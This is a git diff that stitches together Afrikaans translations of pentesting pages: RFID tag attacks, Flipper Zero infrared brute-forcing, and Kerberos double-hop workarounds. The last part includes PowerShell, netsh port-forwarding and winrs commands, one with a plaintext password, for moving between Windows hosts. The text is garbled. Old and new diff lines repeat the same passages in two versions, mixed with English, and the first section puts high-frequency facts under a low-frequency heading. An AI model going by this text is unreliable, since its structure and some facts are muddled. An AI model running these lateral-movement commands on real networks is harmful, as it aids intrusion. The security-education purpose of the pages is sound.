Daar is baie toegangsbeheerstelsels wat op UID vertrou om **outentisering en toegang te verleen**. Soms gebeur dit **selfs** wanneer RFID-etikette **kriptografie ondersteun**. Sulke **misbruik** bring hulle op dieselfde vlak as die domme **125 kHz-kaarte** in terme van **veiligheid**. Virtuele kaarte (soos Apple Pay) gebruik 'n dinamiese UID sodat telefooneienaars nie deure met hul betaalprogram sal oopmaak nie.
## Lae-Frekwensie RFID Tags (125kHz)
* **Lae reikafstand** - hoë-frekwensie-kaarte is spesifiek ontwerp sodat dit naby die leser geplaas moet word. Dit help ook om die kaart teen ongemagtigde interaksies te beskerm. Die maksimum leesafstand wat ons kon bereik was ongeveer 15 cm, en dit was met op maat gemaakte hoë-reikafstandlesers.
* **Gevorderde protokolle** - data-oordrag spoed tot 424 kbps maak komplekse protokolle met volwaardige tweerigting data-oordrag moontlik. Wat op sy beurt **kriptografie**, data-oordrag, ens. moontlik maak.
* **Hoë veiligheid** - hoë-frekwensie kontaklose kaarte is op geen manier minderwaardig aan slim kaarte nie. Daar is kaarte wat kriptografies sterk algoritmes soos AES ondersteun en asimmetriese kriptografie implementeer.
**Lae-frekwensie tags** word dikwels gebruik in stelsels wat **nie hoë sekuriteit** vereis nie: geboustoegang, interkomsleutels, gimnasiumlidmaatskapkaarte, ens. Vanweë hul hoër reeks, is dit gerieflik om te gebruik vir betaalde motorparkering: die bestuurder hoef nie die kaart naby die leser te bring nie, aangesien dit van 'n groter afstand geaktiveer word. Terselfdertyd is lae-frekwensie tags baie primitief, hulle het 'n lae data-oordragspoed. Om hierdie rede is dit onmoontlik om komplekse twee-rigting data-oordrag vir dinge soos balans en kriptografie te implementeer. Lae-frekwensie tags stuur slegs hul kort ID oor sonder enige vorm van verifikasie.
Hierdie toestelle staatmaak op **passiewe** **RFID** tegnologie en werk in 'n **reeks van 30 kHz tot 300 kHz**, alhoewel dit meer gebruiklik is om 125 kHz tot 134 kHz te gebruik:
* **Langafstand** — laer frekwensie vertaal na hoër reeks. Daar is 'n paar EM-Marin en HID lesers, wat van 'n afstand van tot 'n meter werk. Hierdie word dikwels in motorparkering gebruik.
* **Primitiewe protokol** — weens die lae data-oordragspoed kan hierdie tags slegs hul kort ID oordra. In die meeste gevalle is data nie geverifieer nie en dit is nie op enige manier beskerm nie. Sodra die kaart binne die reeks van die leser is, begin dit net om sy ID oor te dra.
* **Lae sekuriteit** — Hierdie kaarte kan maklik gekopieer word, of selfs van iemand anders se sak gelees word weens die protokol se primitiewe aard.
**Populêre 125 kHz protokolle:**
* **EM-Marin** — EM4100, EM4102. Die mees gewilde protokol in CIS. Kan van ongeveer 'n meter gelees word vanweë sy eenvoud en stabiliteit.
* **HID Prox II** — lae-frekwensie protokol wat deur HID Global bekendgestel is. Hierdie protokol is meer gewild in die westerse lande. Dit is meer kompleks en die kaarte en lesers vir hierdie protokol is relatief duur.
* **Indala** — baie ou lae-frekwensie protokol wat deur Motorola bekendgestel is, en later deur HID verkry is. Jy is minder geneig om dit in die natuur te teëkom in vergelyking met die vorige twee omdat dit uit gebruik val.
In werklikheid is daar baie meer lae-frekwensie protokolle. Maar hulle gebruik almal dieselfde modulering op die fisiese laag en kan beskou word, op een of ander manier, as 'n variasie van diegene wat hierbo gelys is.
### Aanval
Jy kan **hierdie Etikette aanval met die Flipper Zero**:
Jy kan **hierdie Tags met die Flipper Zero aanval**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
{% endcontent-ref %}
## Hoë-Frekwensie RFID Tags (13.56 MHz)
**Hoë-frekwensie tags** word gebruik vir 'n meer komplekse leser-tag interaksie wanneer jy kriptografie, 'n groot twee-rigting data-oordrag, verifikasie, ens. benodig.\
Dit word gewoonlik in bankkaarte, openbare vervoer, en ander veilige toegangspasse aangetref.
**Hoë-frekwensie 13.56 MHz tags is 'n stel standaarde en protokolle**. Hulle word gewoonlik verwys na as [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), maar dit is nie altyd korrek nie. Die basiese protokolstel wat op die fisiese en logiese vlakke gebruik word, is ISO 14443. Hoë-vlak protokolle, sowel as alternatiewe standaarde (soos ISO 19092), is daarop gebaseer. Baie mense verwys na hierdie tegnologie as **Nabyveldkommunikasie (NFC)**, 'n term vir toestelle wat oor die 13.56 MHz frekwensie werk.
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
Om dit eenvoudig te stel, werk NFC se argitektuur soos volg: die oordragprotokol word gekies deur die maatskappy wat die kaarte maak en geïmplementeer op grond van die lae-vlak ISO 14443. Byvoorbeeld, NXP het sy eie hoë-vlak oordragprotokol genaamd Mifare uitgevind. Maar op die laer vlak is Mifare kaarte gebaseer op die ISO 14443-A standaard.
Flipper kan met beide die lae-vlak ISO 14443 protokol, sowel as Mifare Ultralight data-oordragprotokol en EMV wat in bankkaarte gebruik word, interaksie hê. Ons werk aan die toevoeging van ondersteuning vir Mifare Classic en NFC NDEF. 'n Deeglike kyk na die protokolle en standaarde wat NFC saamstel, is die moeite werd om 'n aparte artikel te wees wat ons van plan is om later op te laai.
Alle hoë-frekwensie kaarte gebaseer op die ISO 14443-A standaard het 'n unieke chip ID. Dit dien as die kaart se serienommer, soos 'n netwerkkaart se MAC-adres. **Gewoonlik is die UID 4 of 7 bytes lank**, maar kan selde **tot 10** gaan. UIDs is nie 'n geheim nie en hulle is maklik leesbaar, **soms selfs op die kaart self gedruk**.
Daar is baie toegangbeheer stelsels wat op UID staatmaak om **te verifieer en toegang te verleen**. Soms gebeur dit **selfs** wanneer RFID tags **kriptografie** ondersteun. So 'n **misbruik** bring hulle terug na die vlak van die dom **125 kHz kaarte** in terme van **sekuriteit**. Virtuele kaarte (soos Apple Pay) gebruik 'n dinamiese UID sodat telefooneienaars nie deure met hul betalingsapp kan oopmaak nie.
* **Lae reeks** — hoë-frekwensie kaarte is spesifiek ontwerp sodat hulle naby die leser geplaas moet word. Dit help ook om die kaart te beskerm teen ongeoorloofde interaksies. Die maksimum leesafstand wat ons kon bereik was ongeveer 15 cm, en dit was met op maat gemaakte hoë-reeks lesers.
* **Gevorderde protokolle** — data-oordragspoed tot 424 kbps laat komplekse protokolle met volwaardige twee-rigting data-oordrag toe. Wat op sy beurt **kriptografie**, data-oordrag, ens. toelaat.
* **Hoë sekuriteit** — hoë-frekwensie kontaklose kaarte is op geen manier minderwaardig aan slim kaarte nie. Daar is kaarte wat kriptografies sterk algoritmes soos AES ondersteun en onreëlmatige kriptografie implementeer.
### Aanval
Jy kan **hierdie Tags met die Flipper Zero aanval**:
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
{% endcontent-ref %}
Of deur die **proxmark** te gebruik:
Of met die **proxmark**:
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
@ -64,14 +109,17 @@ Of deur die **proxmark** te gebruik:
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-repo**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# FZ - Infrarooi
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Inleiding <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
@ -20,41 +23,44 @@ Vir meer inligting oor hoe Infrarooi werk, kyk:
[infrared.md](../infrared.md)
{% endcontent-ref %}
## IR-Signaalontvanger in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
## IR Seinontvanger in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
Flipper gebruik 'n digitale IR-signaalontvanger TSOP, wat **seinne van IR-afstandbeheerders onderskep**. Daar is **slimfone** soos Xiaomi, wat ook 'n IR-poort het, maar onthou dat **die meeste van hulle slegs kan uitsaai** seine en **nie kan ontvang** nie.
Flipper gebruik 'n digitale IR seinontvanger TSOP, wat **toelaat om seine van IR afstandbeheerders te onderskep**. Daar is 'n paar **smartphones** soos Xiaomi, wat ook 'n IR-poort het, maar hou in gedagte dat **meeste van hulle net kan oordra** seine en **nie kan ontvang** nie.
Die Flipper infrarooi-ontvanger is redelik sensitief. Jy kan selfs **die sein opvang** terwyl jy **iewers tussen** die afstandbeheerder en die TV bly. Dit is onnodig om die afstandbeheerder direk op Flipper se IR-poort te rig. Dit kom van pas wanneer iemand kanale skakel terwyl hulle naby die TV staan, en jy en Flipper is albei 'n afstand weg.
Die Flipper infrarooi **ontvanger is redelik sensitief**. Jy kan selfs die **sein vang** terwyl jy **ergens tussen** die afstandbeheerder en die TV bly. Dit is nie nodig om die afstandbeheerder direk na Flipper se IR-poort te wys nie. Dit is handig wanneer iemand kanale verander terwyl hy naby die TV staan, en jy en Flipper is 'n entjie weg.
Aangesien die **ontsleuteling van die infrarooi-sein** aan die **sagtewarekant plaasvind**, ondersteun Flipper Zero moontlik die **ontvangs en uitsaai van enige IR-afstandbeheerkodes**. In die geval van **onbekende** protokolle wat nie herken kon word nie - dit **neem op en speel terug** die rou sein presies soos ontvang.
Aangesien die **ontleding van die infrarooi** sein aan die **programmatuur** kant gebeur, ondersteun Flipper Zero potensieel die **ontvangs en oordrag van enige IR afstandbeheerkodes**. In die geval van **onbekende** protokolle wat nie herken kon word nie - dit **registreer en speel die** ruwe sein presies soos ontvang.
## Aksies
### Universele Afstandbeheerders
Flipper Zero kan gebruik word as 'n **universele afstandbeheerder om enige TV, lugversorger, of media-sentrum te beheer**. In hierdie modus **brute force** Flipper al die **bekende kodes** van alle ondersteunde vervaardigers **volgens die woordeboek van die SD-kaart**. Jy hoef nie 'n spesifieke afstandbeheerder te kies om 'n restaurant-TV af te skakel nie.
Flipper Zero kan gebruik word as 'n **universele afstandbeheerder om enige TV, lugversorger of mediacentrum te beheer**. In hierdie modus, Flipper **bruteforces** al die **bekende kodes** van al die ondersteunde vervaardigers **volgens die woordeboek van die SD-kaart**. Jy hoef nie 'n spesifieke afstandbeheerder te kies om 'n restaurant TV af te skakel nie.
Dit is genoeg om die kragknoppie in die Universele Afstandbeheerder-modus te druk, en Flipper sal **opeenvolgend "Krag Af"** bevele van al die TV's wat dit ken, stuur: Sony, Samsung, Panasonic... ensovoorts. Wanneer die TV sy sein ontvang, sal dit reageer en afskakel.
Dit is genoeg om die aan/af-knoppie in die Universele Afstandbeheerder-modus te druk, en Flipper sal **gevolglik "Power Off"** opdragte van al die TV's wat hy ken stuur: Sony, Samsung, Panasonic... ensovoorts. Wanneer die TV sy sein ontvang, sal dit reageer en afskakel.
So 'n brute force neem tyd. Hoe groter die woordeboek, hoe langer dit sal neem om klaar te maak. Dit is onmoontlik om uit te vind watter sein presies die TV herken het aangesien daar geen terugvoer van die TV is nie.
So 'n brute-force neem tyd. Hoe groter die woordeboek, hoe langer sal dit neem om te voltooi. Dit is onmoontlik om uit te vind watter sein presies die TV herken het, aangesien daar geen terugvoer van die TV is nie.
### Leer Nuwe Afstandbeheerder
Dit is moontlik om 'n infrarooi-sein te **vang** met Flipper Zero. As dit **die sein in die databasis vind**, sal Flipper outomaties **weet watter toestel dit is** en sal dit jou toelaat om daarmee te interaksieer.\
As dit nie doen nie, kan Flipper die **sein stoor** en sal dit jou toelaat om dit **af te speel**.
Dit is moontlik om 'n **infrarooi sein** met Flipper Zero te **vang**. As dit **die sein in die databasis vind**, sal Flipper outomaties **weet watter toestel dit is** en jou toelaat om daarmee te interaksie.\
As dit nie, kan Flipper die **sein** **stoor** en sal dit jou toelaat om dit te **herhaal**.
## Verwysings
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,96 +1,101 @@
# Kerberos Dubbele Hop Probleem
# Kerberos Double Hop Problem
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Werk jy by 'n **cybersecurity maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Inleiding
## Introduction
Die Kerberos "Dubbele Hop" probleem kom voor wanneer 'n aanvaller probeer om **Kerberos-verifikasie oor twee** **hops** te gebruik, byvoorbeeld deur **PowerShell**/**WinRM** te gebruik.
Die Kerberos "Double Hop" probleem verskyn wanneer 'n aanvaller probeer om **Kerberos-outeentifikasie oor twee** **hops** te gebruik, byvoorbeeld deur **PowerShell**/**WinRM**.
Wanneer 'n **verifikasie** plaasvind deur **Kerberos**, word **geloofsbriewe** **nie** in die **geheue gestoor nie**. Daarom sal jy nie geloofsbriewe van die gebruiker op die rekenaar vind as jy mimikatz hardloop nie, selfs al hardloop hy prosesse.
Wanneer 'n **outeentifikasie** deur **Kerberos** plaasvind, word **akkrediteer** **nie** in **geheue** **gecache** nie. Daarom, as jy mimikatz uitvoer, sal jy **nie akkrediteer** van die gebruiker op die masjien vind nie, selfs al is hy besig om prosesse te loop.
Dit is omdat wanneer jy met Kerberos verbind, hierdie die stappe is:
Dit is omdat wanneer jy met Kerberos verbind, dit die stappe is:
1. Gebruiker1 voorsien geloofsbriewe en die **domain controller** gee 'n Kerberos **TGT** aan Gebruiker1 terug.
2. Gebruiker1 gebruik die **TGT** om 'n **dienskaartjie** aan te vra om aan **Server1 te koppel**.
3. Gebruiker1 **koppel** aan **Server1** en voorsien die **dienskaartjie**.
4. **Server1** het nie die **gelooofsbriewe** van Gebruiker1 in die geheue gestoor of die **TGT** van Gebruiker1 nie. Daarom, wanneer Gebruiker1 vanaf Server1 probeer om na 'n tweede bediener in te teken, kan hy **nie geïdentifiseer** nie.
1. Gebruiker1 verskaf akkrediteer en die **domeinbeheerder** keer 'n Kerberos **TGT** terug na Gebruiker1.
2. Gebruiker1 gebruik **TGT** om 'n **dienskaartjie** aan te vra om met Server1 te **verbinde**.
3. Gebruiker1 **verbinde** met **Server1** en verskaf **dienskaartjie**.
4. **Server1** **het nie** **akkrediteer** van Gebruiker1 gecache of die **TGT** van Gebruiker1 nie. Daarom, wanneer Gebruiker1 van Server1 probeer om in te log op 'n tweede bediener, kan hy **nie outentifiseer** nie.
### Onbeperkte Delegering
### Unconstrained Delegation
As **onbeperkte delegasie** geaktiveer is op die rekenaar, sal dit nie gebeur nie, aangesien die **Bediener** 'n **TGT** van elke gebruiker wat dit benader, sal **kry**. Verder, as onbeperkte delegasie gebruik word, kan jy waarskynlik die Domeinbeheerder **kompromitteer**.\
[**Meer inligting in die onbeperkte delegasie bladsy**](unconstrained-delegation.md).
As **unconstrained delegation** op die rekenaar geaktiveer is, sal dit nie gebeur nie, aangesien die **Server** 'n **TGT** van elke gebruiker wat dit toegang gee, **sal kry**. Boonop, as unconstrained delegation gebruik word, kan jy waarskynlik die **Domeinbeheerder** daarvan **kompromitteer**.\
[**Meer inligting op die unconstrained delegation bladsy**](unconstrained-delegation.md).
### CredSSP
'n Ander manier om hierdie probleem te vermy wat [**merkwaardig onveilig**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) is, is **Credential Security Support Provider**. Van Microsoft:
'n Ander manier om hierdie probleem te vermy wat [**duidelik onveilig**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) is, is **Credential Security Support Provider**. Van Microsoft:
> CredSSP-verifikasie delegeer die gebruikersgelde vanaf die plaaslike rekenaar na 'n afgeleë rekenaar. Hierdie praktyk verhoog die sekuriteitsrisiko van die afgeleë operasie. As die afgeleë rekenaar gekompromitteer is, wanneer geloofsbriewe daaraan oorgedra word, kan die geloofsbriewe gebruik word om die netwerksessie te beheer.
> CredSSP-outeentifikasie delegeer die gebruiker se akkrediteer van die plaaslike rekenaar na 'n afstandlike rekenaar. Hierdie praktyk verhoog die sekuriteitsrisiko van die afstandlike operasie. As die afstandlike rekenaar gekompromitteer word, kan die akkrediteer wat aan dit oorgedra word, gebruik word om die netwerk sessie te beheer.
Dit word sterk aanbeveel dat **CredSSP** gedeaktiveer word op produksiestelsels, sensitiewe netwerke, en soortgelyke omgewings weens sekuriteitskwessies. Om te bepaal of **CredSSP** geaktiveer is, kan die `Get-WSManCredSSP` bevel uitgevoer word. Hierdie bevel maak die **ondersoek van CredSSP-status** moontlik en kan selfs op afstand uitgevoer word, mits **WinRM** geaktiveer is.
Dit word sterk aanbeveel dat **CredSSP** op produksiesisteme, sensitiewe netwerke en soortgelyke omgewings gedeaktiveer word weens sekuriteitskwessies. Om te bepaal of **CredSSP** geaktiveer is, kan die `Get-WSManCredSSP` opdrag uitgevoer word. Hierdie opdrag stel jou in staat om die **status van CredSSP** te **kontroleer** en kan selfs op afstand uitgevoer word, mits **WinRM** geaktiveer is.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Oorkomings
## Workarounds
### Roep Opdrag Aan
### Invoke Command
Om die dubbele hup probleem aan te spreek, word 'n metode wat 'n geneste `Invoke-Command` behels, voorgestel. Dit los die probleem nie direk op nie, maar bied 'n oorkomingsoplossing sonder om spesiale konfigurasies nodig te hê. Die benadering maak dit moontlik om 'n opdrag (`hostname`) op 'n sekondêre bediener uit te voer deur 'n PowerShell-opdrag wat vanaf 'n aanvanklike aanvallende masjien uitgevoer word of deur 'n voorheen gevestigde PS-Sessie met die eerste bediener. Hier is hoe dit gedoen word:
Om die dubbele sprong probleem aan te spreek, word 'n metode met 'n geneste `Invoke-Command` voorgestel. Dit los die probleem nie direk op nie, maar bied 'n omweg sonder die behoefte aan spesiale konfigurasies. Die benadering stel in staat om 'n opdrag (`hostname`) op 'n sekondêre bediener uit te voer deur 'n PowerShell-opdrag wat vanaf 'n aanvanklike aanvalmasjien of deur 'n voorheen gevestigde PS-sessie met die eerste bediener uitgevoer word. Hier is hoe dit gedoen word:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### Registreer PSSession-konfigurasie
Alternatiewelik, word dit voorgestel om 'n PS-Session met die eerste bediener te vestig en die `Invoke-Command` te gebruik met `$cred` om take te sentraliseer.
'n Oplossing om die dubbele hop-probleem te omseil, behels die gebruik van `Register-PSSessionConfiguration` met `Enter-PSSession`. Hierdie metode vereis 'n ander benadering as `evil-winrm` en maak 'n sessie moontlik wat nie deur die dubbele hop-beperking geraak word nie.
### Registreer PSSession Konfigurasie
'n Oplossing om die dubbel hop probleem te omseil behels die gebruik van `Register-PSSessionConfiguration` met `Enter-PSSession`. Hierdie metode vereis 'n ander benadering as `evil-winrm` en laat 'n sessie toe wat nie ly aan die dubbel hop beperking nie.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
klist
```
### PoortDeurstuur
### PortForwarding
Vir plaaslike administrateurs op 'n tussenliggende teiken, maak poortdeurstuur dit moontlik dat versoek na 'n finale bediener gestuur word. Deur `netsh` te gebruik, kan 'n reël vir poortdeurstuur bygevoeg word, tesame met 'n Windows-firewallreël om die deurgestuurde poort toe te laat.
Vir plaaslike administrateurs op 'n intermediêre teiken, laat port forwarding toe dat versoeke na 'n finale bediener gestuur word. Deur `netsh` te gebruik, kan 'n reël vir port forwarding bygevoeg word, saam met 'n Windows-vuurmuurreël om die voortgelei poort toe te laat.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
```
#### winrs.exe
`winrs.exe` kan gebruik word om WinRM-versoeke deur te stuur, moontlik as 'n minder opspoorbare opsie as PowerShell-monitoring 'n bekommernis is. Die onderstaande bevel demonstreer die gebruik daarvan:
`winrs.exe` kan gebruik word om WinRM versoeke te stuur, moontlik as 'n minder opspoorbare opsie as PowerShell monitering 'n bekommernis is. Die onderstaande opdrag demonstreer die gebruik daarvan:
```bash
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Die installering van OpenSSH op die eerste bediener maak 'n omweg vir die dubbele-hop probleem moontlik, veral nuttig vir springkas scenarios. Hierdie metode vereis CLI-installasie en opstelling van OpenSSH vir Windows. Wanneer dit ingestel is vir Wagwoordverifikasie, maak dit dit moontlik vir die bemiddelende bediener om 'n TGT namens die gebruiker te verkry.
Die installering van OpenSSH op die eerste bediener stel 'n omseiling van die dubbel-hop probleem in, wat veral nuttig is vir jump box scenario's. Hierdie metode vereis CLI installasie en opstelling van OpenSSH vir Windows. Wanneer dit geconfigureer is vir Wagwoordverifikasie, laat dit die intermediêre bediener toe om 'n TGT namens die gebruiker te verkry.
#### OpenSSH-installasiestappe
#### OpenSSH Installasiestappe
